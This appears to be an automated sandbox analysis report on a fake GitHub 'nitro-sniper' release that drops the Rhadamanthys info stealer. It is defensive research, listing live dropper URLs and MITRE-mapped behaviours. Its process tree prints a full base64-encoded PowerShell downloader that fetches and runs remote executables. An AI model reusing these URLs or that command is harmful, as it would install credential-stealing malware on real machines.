rhadamanthys | hxxps://github[.]com/Miedev/nitro-sniper/releases/tag/Download

Resubmissions

20/06/2024, 17:51

240620-we7bgatgrm10

20/06/2024, 17:50

240620-wexr2azdnc

20/06/2024, 17:47

240620-wdbs6szcqc8

20/06/2024, 17:46

240620-wcpzeatfrn3

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2024, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/Miedev/nitro-sniper/releases/tag/Download
Sample240620-we7bgatgrm

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/lem61111111111/raw

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/lemon.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4588 created 2548	4588	pk2yovih.yfv1.exe	42

Blocklisted process makes network request 10 IoCs

flow	pid	Process
114	2272	powershell.exe
119	2272	powershell.exe
122	4872	powershell.exe
123	2956	powershell.exe
125	5328	powershell.exe
126	5328	powershell.exe
127	5560	powershell.exe
128	5560	powershell.exe
129	5804	powershell.exe
130	5804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5804	powershell.exe
2272	powershell.exe
2956	powershell.exe
5328	powershell.exe
5560	powershell.exe
4872	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	Loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	pk2yovih.yfv0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	pk2yovih.yfv3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	Loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	Loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	Loader.exe

Executes dropped EXE 8 IoCs

pid	Process
2064	Loader.exe
4340	pk2yovih.yfv0.exe
4588	pk2yovih.yfv1.exe
1628	pk2yovih.yfv2.exe
2064	pk2yovih.yfv3.exe
5260	Loader.exe
5492	Loader.exe
5736	Loader.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
84	bitbucket.org
123	bitbucket.org
128	bitbucket.org
130	bitbucket.org
79	camo.githubusercontent.com
82	bitbucket.org
83	bitbucket.org
115	bitbucket.org
119	bitbucket.org
126	bitbucket.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133633794901419148"	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 4 IoCs

ransomware

pid	Process
1728	NOTEPAD.EXE
3576	NOTEPAD.EXE
4496	NOTEPAD.EXE
5220	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
3588	chrome.exe
3588	chrome.exe
1164	chrome.exe
1164	chrome.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
4588	pk2yovih.yfv1.exe
4588	pk2yovih.yfv1.exe
5156	openwith.exe
5156	openwith.exe
5156	openwith.exe
5156	openwith.exe
5328	powershell.exe
5328	powershell.exe
5328	powershell.exe
5560	powershell.exe
5560	powershell.exe
5560	powershell.exe
5804	powershell.exe
5804	powershell.exe
5804	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
916	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe
Token: SeShutdownPrivilege	3588	chrome.exe
Token: SeCreatePagefilePrivilege	3588	chrome.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
5104	7zG.exe
1728	NOTEPAD.EXE
3808	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe
3588	chrome.exe

Suspicious use of SetWindowsHookEx 53 IoCs

pid	Process
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
916	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
4588	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe
3296	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 2988	3588	chrome.exe	90
PID 3588 wrote to memory of 2988	3588	chrome.exe	90
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 1480	3588	chrome.exe	92
PID 3588 wrote to memory of 3056	3588	chrome.exe	93
PID 3588 wrote to memory of 3056	3588	chrome.exe	93
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94
PID 3588 wrote to memory of 1572	3588	chrome.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2548
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/Miedev/nitro-sniper/releases/tag/Download
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff97791ab58,0x7ff97791ab68,0x7ff97791ab78
  2⤵
  PID:2988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1724 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:2
  2⤵
  PID:1480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:3056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2228 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:1572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3032 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:1
  2⤵
  PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3036 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:1
  2⤵
  PID:3184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4672 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:3444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4748 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:4440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4504 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:1
  2⤵
  PID:3444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:2076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4748 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4464 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:8
  2⤵
  PID:2368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1692 --field-trial-handle=1964,i,6895606140086852216,14109435199811170053,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1164

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:3276

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4272,i,11069752405888604640,8928124405695604965,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:8
1⤵
PID:2592

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2312

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Loader\" -spe -an -ai#7zMap9849:74:7zEvent22071
1⤵
- Suspicious use of FindShellTrayWindow
PID:5104

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Loader\Password.txt
1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:1728

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Loader\Loader\" -spe -an -ai#7zMap26113:88:7zEvent26993
1⤵
- Suspicious use of FindShellTrayWindow
PID:3808

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:916
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Loader\Loader\Launcher.dll
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3576

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4588
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Loader\Loader\Launcher.dll
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4496

C:\Users\Admin\Downloads\Loader\Loader\Loader.exe
"C:\Users\Admin\Downloads\Loader\Loader\Loader.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2272
- - C:\Users\Admin\AppData\Roaming\pk2yovih.yfv0.exe
    "C:\Users\Admin\AppData\Roaming\pk2yovih.yfv0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4340
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CBF1.tmp\CBF2.tmp\CBF3.bat C:\Users\Admin\AppData\Roaming\pk2yovih.yfv0.exe"
      4⤵
      PID:2840
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:2564
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:452
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:1168
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:5012
